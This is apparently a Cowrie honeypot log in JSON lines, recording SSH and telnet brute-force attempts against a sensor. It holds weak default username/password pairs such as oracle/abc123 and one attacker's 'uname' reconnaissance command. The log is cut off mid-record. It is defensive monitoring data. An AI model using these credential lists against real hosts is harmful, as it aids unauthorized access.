{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:03.717351Z","src_ip":"192.109.200.78","session":"fd94f5a1fedc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.5022132396698,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:03.942941Z","src_ip":"206.189.71.75","session":"1d4c0d7a2c0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.85414695739746,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:03.968228Z","src_ip":"206.189.71.75","session":"fea6abf1b58c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:04.804222Z","src_ip":"192.109.200.78","session":"fd94f5a1fedc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.238691329956055,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:04.950481Z","src_ip":"206.189.71.75","session":"e55e84e2dfd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.39139795303345,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:05.011899Z","src_ip":"206.189.71.75","session":"b1f8e628f1b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.55000972747803,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:05.235978Z","src_ip":"206.189.71.75","session":"ef2f96191780","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.836323738098145,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:06.089935Z","src_ip":"206.189.71.75","session":"a97770c6ce92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.333675384521484,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:06.568116Z","src_ip":"206.189.71.75","session":"6d1e06aee5c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48304,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4e44e1cb8f7","protocol":"ssh","message":"New connection: 192.109.200.78:48304 (10.17.0.5:22) [session: e4e44e1cb8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:07.669363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:07.674044Z","src_ip":"192.109.200.78","session":"e4e44e1cb8f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":60194,"dst_ip":"159.203.135.109","dst_port":23,"session":"13470b6b1477","protocol":"telnet","message":"New connection: 206.189.71.75:60194 (159.203.135.109:23) [session: 13470b6b1477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:07.750554Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:07.759843Z","src_ip":"192.109.200.78","session":"e4e44e1cb8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:08.013144Z","src_ip":"192.109.200.78","session":"e4e44e1cb8f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.57766342163086,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:08.469173Z","src_ip":"206.189.71.75","session":"b8d12db8d890","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:09.097498Z","src_ip":"192.109.200.78","session":"e4e44e1cb8f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.119486570358276,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:09.680648Z","src_ip":"206.189.71.75","session":"47487a238dd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":33984,"dst_ip":"159.203.135.109","dst_port":23,"session":"09f5efba9c0b","protocol":"telnet","message":"New connection: 206.189.71.75:33984 (159.203.135.109:23) [session: 09f5efba9c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:10.372572Z"}
{"eventid":"cowrie.session.closed","duration":36.07207417488098,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:10.739726Z","src_ip":"206.189.71.75","session":"46f904a452c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":35574,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e53d526d48c","protocol":"telnet","message":"New connection: 206.189.71.75:35574 (159.203.135.109:23) [session: 1e53d526d48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:11.603303Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46848,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdb74a7548b7","protocol":"ssh","message":"New connection: 192.109.200.78:46848 (10.17.0.5:22) [session: bdb74a7548b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:12.655036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:12.662694Z","src_ip":"192.109.200.78","session":"bdb74a7548b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:12.744647Z","src_ip":"192.109.200.78","session":"bdb74a7548b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":36906,"dst_ip":"159.203.135.109","dst_port":23,"session":"55704713a74a","protocol":"telnet","message":"New connection: 206.189.71.75:36906 (159.203.135.109:23) [session: 55704713a74a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:13.404455Z"}
{"eventid":"cowrie.session.closed","duration":35.34372401237488,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:13.523618Z","src_ip":"206.189.71.75","session":"4afc59c87486","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:13.590721Z","src_ip":"192.109.200.78","session":"bdb74a7548b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.208698987960815,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:13.744406Z","src_ip":"206.189.71.75","session":"9057214a9c8e","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:13.793404Z","src_ip":"192.109.200.78","session":"bdb74a7548b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:13.796632Z","src_ip":"192.109.200.78","session":"bdb74a7548b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:13.883473Z","src_ip":"192.109.200.78","session":"bdb74a7548b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:13.889812Z","src_ip":"192.109.200.78","session":"bdb74a7548b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46864,"dst_ip":"10.17.0.5","dst_port":22,"session":"391af26c2e19","protocol":"ssh","message":"New connection: 192.109.200.78:46864 (10.17.0.5:22) [session: 391af26c2e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:15.830118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:15.835060Z","src_ip":"192.109.200.78","session":"391af26c2e19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:15.923047Z","src_ip":"192.109.200.78","session":"391af26c2e19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":39234,"dst_ip":"159.203.135.109","dst_port":23,"session":"f942ebf52701","protocol":"telnet","message":"New connection: 206.189.71.75:39234 (159.203.135.109:23) [session: f942ebf52701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:16.295076Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:16.403567Z","src_ip":"192.109.200.78","session":"391af26c2e19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:17.489623Z","src_ip":"192.109.200.78","session":"391af26c2e19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.35212302207947,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:18.443086Z","src_ip":"206.189.71.75","session":"0bc8de2c754e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.66307258605957,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:18.670332Z","src_ip":"206.189.71.75","session":"753134a2311d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.20357632637024,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:19.261847Z","src_ip":"206.189.71.75","session":"211a1bc6eb84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.46545052528381,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:19.589263Z","src_ip":"206.189.71.75","session":"19ccfeebda8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41352,"dst_ip":"10.17.0.5","dst_port":22,"session":"167699e35747","protocol":"ssh","message":"New connection: 192.109.200.78:41352 (10.17.0.5:22) [session: 167699e35747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:20.139996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:20.144504Z","src_ip":"192.109.200.78","session":"167699e35747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:20.226667Z","src_ip":"192.109.200.78","session":"167699e35747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:20.475540Z","src_ip":"192.109.200.78","session":"167699e35747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.80371570587158,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:20.605837Z","src_ip":"206.189.71.75","session":"1960c91a33b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42582,"dst_ip":"159.203.135.109","dst_port":23,"session":"b888a1ec0262","protocol":"telnet","message":"New connection: 206.189.71.75:42582 (159.203.135.109:23) [session: b888a1ec0262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:20.883309Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:21.573716Z","src_ip":"192.109.200.78","session":"167699e35747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.79028034210205,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:22.629937Z","src_ip":"206.189.71.75","session":"2ff34767cc4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.141","src_port":59288,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d96e7eccd0d","protocol":"ssh","message":"New connection: 45.148.10.141:59288 (10.17.0.5:22) [session: 5d96e7eccd0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:23.079111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:23.083814Z","src_ip":"45.148.10.141","session":"5d96e7eccd0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:23.162733Z","src_ip":"45.148.10.141","session":"5d96e7eccd0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:23.511453Z","src_ip":"45.148.10.141","session":"5d96e7eccd0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41362,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c6da456d0af","protocol":"ssh","message":"New connection: 192.109.200.78:41362 (10.17.0.5:22) [session: 0c6da456d0af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:24.362735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:24.367791Z","src_ip":"192.109.200.78","session":"0c6da456d0af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecds